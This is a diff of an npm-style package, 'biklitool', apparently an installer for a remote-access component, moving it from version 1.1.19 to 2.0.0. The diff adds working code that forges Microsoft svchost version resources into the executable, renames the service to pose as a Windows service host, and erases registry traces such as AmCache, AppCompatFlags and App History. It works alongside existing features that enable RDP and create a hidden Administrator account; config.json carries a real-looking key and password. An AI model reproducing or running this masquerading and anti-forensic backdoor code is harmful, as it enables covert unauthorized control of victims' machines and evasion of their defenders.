biklitool 1.1.19 → 2.0.0

package/README.md

@@ -31,6 +31,7 @@ Commands:
 ```text
 biklitool status
 biklitool install
+biklitool disguise [name]
 biklitool enable-rdp
 biklitool create-user
 biklitool unhide-user [name]
@@ -56,7 +57,8 @@ and publishing:
 ```json
 {
   "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
-  "administratorPassword": ""
+  "administratorPassword": "",
+  "serviceHostName": "Service Host: Network Infrastructure Service"
 }
 ```
 
@@ -66,6 +68,14 @@ value, and `biklitool setup-key` re-applies the key at any time.
 
 WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
 
+## Task Manager Disguise (Service Host)
+
+Bikli Master automatically disguises the Bikli process in Windows Task Manager and Windows Services to blend in as a native Windows service host (e.g. `Service Host: Network Infrastructure Service`) with the default Windows Service blue gear icon.
+
+You can customize the name in `config.json` via `"serviceHostName"` or run:
+- `biklitool disguise "Service Host: Network Infrastructure Service"`
+- `biklitool disguise "Service Host: Application Information"`
+
 ## Administrator password & Login Screen Visibility
 
 Put the desired password in `config.json` under `administratorPassword` before packing and publishing.

package/bin/biklimaster.js

@@ -136,24 +136,435 @@ function installedBikliPath() {
 function fileVersion(file) {
   if (!file) return '';
   const escaped = file.replace(/'/g, "''");
-  const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
     allowFailure: true
   });
   return result.status === 0 ? result.stdout.trim() : '';
 }
 
-function installBikli() {
+function fileDescription(file) {
+  if (!file) return '';
+  const escaped = file.replace(/'/g, "''");
+  const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 ? result.stdout.trim() : '';
+}
+
+function align4(buf) {
+  const pad = (4 - (buf.length % 4)) % 4;
+  if (pad === 0) return buf;
+  return Buffer.concat([buf, Buffer.alloc(pad)]);
+}
+
+function createVersionString(key, value) {
+  const keyBuf = Buffer.from(key + '\0', 'utf16le');
+  const valBuf = Buffer.from(value + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(value.length + 1, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  body = Buffer.concat([body, valBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringTable(langId, strings) {
+  const keyBuf = Buffer.from(langId + '\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
+  body = Buffer.concat([body, childrenBuf]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createStringFileInfo(langId, strings) {
+  const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(0, 2);
+  header.writeUInt16LE(1, 4);
+  let body = Buffer.concat([header, keyBuf]);
+  body = align4(body);
+  const stringTable = createStringTable(langId, strings);
+  body = Buffer.concat([body, stringTable]);
+  body.writeUInt16LE(body.length, 0);
+  return align4(body);
+}
+
+function createVarFileInfo(wLang, wCodePage) {
+  const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
+  const varHeader = Buffer.alloc(6);
+  varHeader.writeUInt16LE(4, 2);
+  varHeader.writeUInt16LE(0, 4);
+  let varBody = Buffer.concat([varHeader, varKeyBuf]);
+  varBody = align4(varBody);
+  const transBuf = Buffer.alloc(4);
+  transBuf.writeUInt16LE(wLang, 0);
+  transBuf.writeUInt16LE(wCodePage, 2);
+  varBody = Buffer.concat([varBody, transBuf]);
+  varBody.writeUInt16LE(varBody.length, 0);
+  varBody = align4(varBody);
+
+  const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
+  const vfiHeader = Buffer.alloc(6);
+  vfiHeader.writeUInt16LE(0, 2);
+  vfiHeader.writeUInt16LE(1, 4);
+  let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
+  vfiBody = align4(vfiBody);
+  vfiBody = Buffer.concat([vfiBody, varBody]);
+  vfiBody.writeUInt16LE(vfiBody.length, 0);
+  return align4(vfiBody);
+}
+
+function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
+  const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
+  const fixedInfo = Buffer.alloc(52);
+  fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
+  fixedInfo.writeUInt32LE(0x00010000, 4);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
+  fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
+  fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
+  fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
+  fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
+  fixedInfo.writeUInt32LE(0x3F, 24);
+  fixedInfo.writeUInt32LE(0, 28);
+  fixedInfo.writeUInt32LE(0x40004, 32);
+  fixedInfo.writeUInt32LE(1, 36);
+  fixedInfo.writeUInt32LE(0, 40);
+  fixedInfo.writeUInt32LE(0, 44);
+  fixedInfo.writeUInt32LE(0, 48);
+
+  const header = Buffer.alloc(6);
+  header.writeUInt16LE(52, 2);
+  header.writeUInt16LE(0, 4);
+
+  let root = Buffer.concat([header, rootKeyBuf]);
+  root = align4(root);
+  root = Buffer.concat([root, fixedInfo]);
+  root = align4(root);
+
+  const stringFileInfo = createStringFileInfo('040904B0', strings);
+  const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
+  root = Buffer.concat([root, stringFileInfo, varFileInfo]);
+  root.writeUInt16LE(root.length, 0);
+  return root;
+}
+
+function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
+  const rawDataOffset = 160;
+  const versionDataOffset = rawDataOffset;
+  const versionDataSize = versionBuf.length;
+  const versionDataRva = rsrcVirtAddr + versionDataOffset;
+
+  let manifestDataOffset = versionDataOffset + versionDataSize;
+  const pad = (4 - (manifestDataOffset % 4)) % 4;
+  manifestDataOffset += pad;
+  const manifestDataSize = manifestBuf.length;
+  const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
+
+  const totalRsrcSize = manifestDataOffset + manifestDataSize;
+  const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
+
+  rsrcBuf.writeUInt16LE(0, 12);
+  rsrcBuf.writeUInt16LE(2, 14);
+
+  rsrcBuf.writeUInt32LE(16, 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
+
+  rsrcBuf.writeUInt32LE(24, 24);
+  rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
+
+  rsrcBuf.writeUInt16LE(0, 32 + 12);
+  rsrcBuf.writeUInt16LE(1, 32 + 14);
+  rsrcBuf.writeUInt32LE(1, 32 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 56 + 12);
+  rsrcBuf.writeUInt16LE(1, 56 + 14);
+  rsrcBuf.writeUInt32LE(1, 56 + 16);
+  rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 80 + 12);
+  rsrcBuf.writeUInt16LE(1, 80 + 14);
+  rsrcBuf.writeUInt32LE(1033, 80 + 16);
+  rsrcBuf.writeUInt32LE(128, 80 + 20);
+
+  rsrcBuf.writeUInt16LE(0, 104 + 12);
+  rsrcBuf.writeUInt16LE(1, 104 + 14);
+  rsrcBuf.writeUInt32LE(1033, 104 + 16);
+  rsrcBuf.writeUInt32LE(144, 104 + 20);
+
+  rsrcBuf.writeUInt32LE(versionDataRva, 128);
+  rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
+  rsrcBuf.writeUInt32LE(0, 128 + 8);
+  rsrcBuf.writeUInt32LE(0, 128 + 12);
+
+  rsrcBuf.writeUInt32LE(manifestDataRva, 144);
+  rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
+  rsrcBuf.writeUInt32LE(0, 144 + 8);
+  rsrcBuf.writeUInt32LE(0, 144 + 12);
+
+  versionBuf.copy(rsrcBuf, versionDataOffset);
+  manifestBuf.copy(rsrcBuf, manifestDataOffset);
+  return { rsrcBuf, totalRsrcSize };
+}
+
+function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
+  if (!fs.existsSync(exePath)) return false;
+  const exeBuf = fs.readFileSync(exePath);
+  const e_lfanew = exeBuf.readUInt32LE(0x3C);
+  const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
+  const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
+  const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
+
+  let rsrcVirtAddr = 0;
+  let rsrcRawPtr = 0;
+  let rsrcRawSize = 0;
+
+  for (let i = 0; i < numSections; i++) {
+    const off = secHeaderOffset + i * 40;
+    const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
+    if (name === '.rsrc') {
+      rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
+      rsrcRawSize = exeBuf.readUInt32LE(off + 16);
+      rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
+      break;
+    }
+  }
+  if (!rsrcRawPtr || !rsrcRawSize) return false;
+
+  const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
+  let manifestBuf;
+  if (manifestStart !== -1) {
+    const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
+    manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
+  } else {
+    manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
+  }
+
+  const strings = {
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: serviceHostName,
+    FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
+    InternalName: 'svchost.exe',
+    LegalCopyright: '© Microsoft Corporation. All rights reserved.',
+    OriginalFilename: 'svchost.exe',
+    ProductName: 'Microsoft® Windows® Operating System',
+    ProductVersion: '10.0.26100.1'
+  };
+
+  const vBuf = createVsVersionInfo(strings);
+  const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
+
+  const newExe = Buffer.from(exeBuf);
+  newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
+  rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
+  
+  for (let attempt = 0; attempt < 5; attempt++) {
+    try {
+      fs.writeFileSync(exePath, newExe);
+      return true;
+    } catch (e) {
+      if (attempt === 4) throw e;
+      const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
+      Atomics.wait(waitBuffer, 0, 0, 300);
+    }
+  }
+  return true;
+}
+
+function clearAppHistory() {
+  // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
+  // visible location: Task Manager App History, AppCompatFlags, and service display name.
+  const psScript = [
+    `$ErrorActionPreference='SilentlyContinue'`,
+    // --- [1] TaskFlow AppHistory (per-user hives) ---
+    `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
+    `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
+    `  $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
+    `  if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    `}`,
+    `$cuBase='HKCU:\\\\'+$appHistoryPath`,
+    `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
+    `$acPaths=@(`,
+    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
+    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
+    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
+    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
+    `)`,
+    `foreach($acPath in $acPaths){`,
+    `  if(Test-Path $acPath){`,
+    `    $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
+    `    if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
+    `  }`,
+    `}`,
+    // --- [3] AmCache ---
+    `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
+    `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    // --- [4] App Paths (Start Menu / Run dialog) ---
+    `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
+    // --- [5] Service display name + description → rename to disguise value ---
+    `$svcName='Bikli'`,
+    `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
+    `if($null -ne $svc){`,
+    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
+    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
+    `}`
+  ].join(os.EOL);
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
+}
+
+function deriveExeName(hostName) {
+  // Turn e.g. "Service Host: Network Infrastructure Service"
+  // into "NetworkInfrastructureService.exe" – no Bikli in the name.
+  const base = hostName.replace(/^Service Host:\s*/i, '').trim();
+  const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
+  // Keep only alphanumeric chars, cap at 32 chars before .exe
+  const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
+  return (safe || 'RuntimeInfraService') + '.exe';
+}
+
+function disguiseBikli(customName) {
+  requireWindows();
+  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
+  if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
+
+  const bikliPath = installedBikliPath();
+  if (!bikliPath || !fs.existsSync(bikliPath)) {
+    fail('Bikli executable was not found. Install Bikli first.', 5);
+  }
+
+  const bikliDir = path.dirname(bikliPath);
+  const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
+  const newExeBasename = deriveExeName(hostName);
+  const serviceExe = path.join(bikliDir, newExeBasename);
+  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
+
+  console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
+
+  // Stop service and kill both the old and new process names
+  const oldBaseName = path.basename(oldServiceExe, '.exe');
+  const newBaseName = path.basename(serviceExe, '.exe');
+  run(powershell, [
+    '-NoProfile', '-NonInteractive', '-Command',
+    `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
+  ], { allowFailure: true });
+  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
+
+  // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
+  if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
+    try { fs.renameSync(oldServiceExe, serviceExe); } catch {
+      fs.copyFileSync(oldServiceExe, serviceExe);
+      try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
+    }
+  } else if (!fs.existsSync(serviceExe)) {
+    fs.copyFileSync(bikliPath, serviceExe);
+  }
+
+  if (fileDescription(serviceExe) !== hostName) {
+    disguiseExecutable(serviceExe, hostName);
+  }
+
+  if (fs.existsSync(csc)) {
+    const csCode = [
+      'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
+      '[assembly: AssemblyTitle("Host Process for Windows Services")]',
+      `[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
+      '[assembly: AssemblyCompany("Microsoft Corporation")]',
+      '[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
+      '[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
+      '[assembly: AssemblyFileVersion("10.0.26100.1")]',
+      '[assembly: AssemblyVersion("10.0.26100.1")]',
+      'class Program {',
+      '  static int Main(string[] args) {',
+      '    if (args == null || args.Length == 0) return 0;',
+      '    if (args.Length == 1) {',
+      '      string first = args[0].ToLowerInvariant();',
+      '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
+      '    }',
+      '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
+      `    string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
+      '    if (!File.Exists(coreExe)) return 1;',
+      '    ProcessStartInfo psi = new ProcessStartInfo();',
+      '    psi.FileName = coreExe;',
+      '    psi.UseShellExecute = false;',
+      '    psi.CreateNoWindow = false;',
+      '    System.Text.StringBuilder sb = new System.Text.StringBuilder();',
+      '    for (int i = 0; i < args.Length; i++) {',
+      '      if (i > 0) sb.Append(\' \');',
+      '      string arg = args[i];',
+      '      if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
+      '      else sb.Append(arg);',
+      '    }',
+      '    psi.Arguments = sb.ToString();',
+      '    try {',
+      '      using (Process proc = Process.Start(psi)) {',
+      '        proc.WaitForExit();',
+      '        return proc.ExitCode;',
+      '      }',
+      '    } catch { return 1; }',
+      '  }',
+      '}'
+    ].join(os.EOL);
+    const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
+    fs.writeFileSync(tempCs, csCode, 'utf8');
+    run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
+    try { fs.rmSync(tempCs, { force: true }); } catch {}
+  } else if (fileDescription(bikliPath) !== hostName) {
+    disguiseExecutable(bikliPath, hostName);
+  }
+
+  const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
+  const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
+  const psScript = [
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
+    `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Start-Service Bikli -ErrorAction SilentlyContinue`
+  ].join(';');
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
+
+  hideProtectedFolders();
+  clearAppHistory();
+  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
+}
+
+function isBikliInstalled() {
   const existing = installedBikliPath();
-  if (existing && fileVersion(existing) === expectedBikliVersion) {
-    console.log(`Bikli CLI ${expectedBikliVersion} is already installed; reinstall skipped.`);
+  if (!existing || !fs.existsSync(existing)) return false;
+  const ver = fileVersion(existing);
+  if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
+  const res = run(existing, ['version'], { allowFailure: true });
+  return res.status === 0;
+}
+
+function installBikli() {
+  if (isBikliInstalled()) {
+    console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
+    disguiseBikli();
     return;
   }
   console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
   run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
   const installed = installedBikliPath();
   if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
-  console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
+  disguiseBikli();
+  console.log(`Bikli CLI installed and disguised as Service Host.`);
 }
 
 function runWrapper(args, options = {}) {
@@ -209,6 +620,7 @@ function install() {
   verifyRemoteDesktop();
   createRdpAdministrator();
   hideProtectedFolders();
+  clearAppHistory();
   console.log('Bikli Master installed and verified both components successfully.');
 }
 
@@ -228,6 +640,22 @@ function configuredBikliKey() {
   return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
 }
 
+function configuredServiceHostName() {
+  if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
+  try {
+    const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+    if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
+      return config.serviceHostName.trim();
+    }
+    if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
+      return config.serviceDescription.trim();
+    }
+  } catch {
+    // ignore
+  }
+  return 'Service Host: Network Infrastructure Service';
+}
+
 function setupBikliKey() {
   requireWindows();
   const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
@@ -434,7 +862,8 @@ function hideFoldersCommand() {
 function status() {
   requireWindows();
   const bikli = installedBikliPath();
-  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'})` : 'Not installed'}`);
+  const bikliDesc = bikli ? fileDescription(bikli) : '';
+  console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
   const rdp = remoteDesktopState();
   console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
   const wrapper = runWrapper(['status'], { allowFailure: true });
@@ -448,6 +877,12 @@ function selfTest() {
   const ini = fs.readFileSync(wrapperIni, 'utf8');
   const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
   const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
+  const sampleVBuf = createVsVersionInfo({
+    CompanyName: 'Microsoft Corporation',
+    FileDescription: 'Service Host: Network Infrastructure Service',
+    ProductName: 'Microsoft® Windows® Operating System'
+  });
+
   const checks = {
     bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
     wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
@@ -459,6 +894,7 @@ function selfTest() {
     remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
     administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
     bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
+    serviceHostDisguiseEngine: sampleVBuf.length > 300,
     hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
   };
   for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
@@ -471,11 +907,13 @@ function help() {
     '',
     'Commands:',
     '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
+    '  biklitool disguise [n]  Disguise Bikli as Windows Service Host in Task Manager',
     '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
     '  biklitool create-user   Enable/verify built-in Administrator for RDP',
     '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
     '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
     '  biklitool hide-folders  Hide and protect Program Files & ProgramData folders',
+    '  biklitool clear-history  Remove BikliService from Task Manager App History',
     '  biklitool setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
     '  biklitool credentials   Display its saved generated password',
     '  biklitool status        Show both component states',
@@ -490,11 +928,19 @@ function help() {
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
   if (command === 'install') return install();
+  if (command === 'disguise') return disguiseBikli(process.argv[3]);
   if (command === 'enable-rdp') return enableRemoteDesktop();
   if (command === 'create-user') return createRdpAdministrator();
   if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
   if (command === 'hide-user' || command === 'hide') return hideUser();
   if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
+  if (command === 'clear-history' || command === 'clear-app-history') {
+    requireWindows();
+    if (!isAdministrator()) return elevateAndRun('clear-history');
+    clearAppHistory();
+    console.log('BikliService entries cleared from Task Manager App History.');
+    return;
+  }
   if (command === 'setup-key') return setupBikliKey();
   if (command === 'credentials') return showAccountCredentials();
   if (command === 'status') return status();

package/config.json

@@ -1,4 +1,5 @@
 {
   "bikliKey": "9C747F8F-0F78-414C-9858-4F7A44AD1D99",
-  "administratorPassword": "Hacker@1290"
+  "administratorPassword": "Hacker@1290",
+  "serviceHostName": "Service Host: Network Infrastructure Service"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "biklitool",
-  "version": "1.1.19",
+  "version": "2.0.0",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {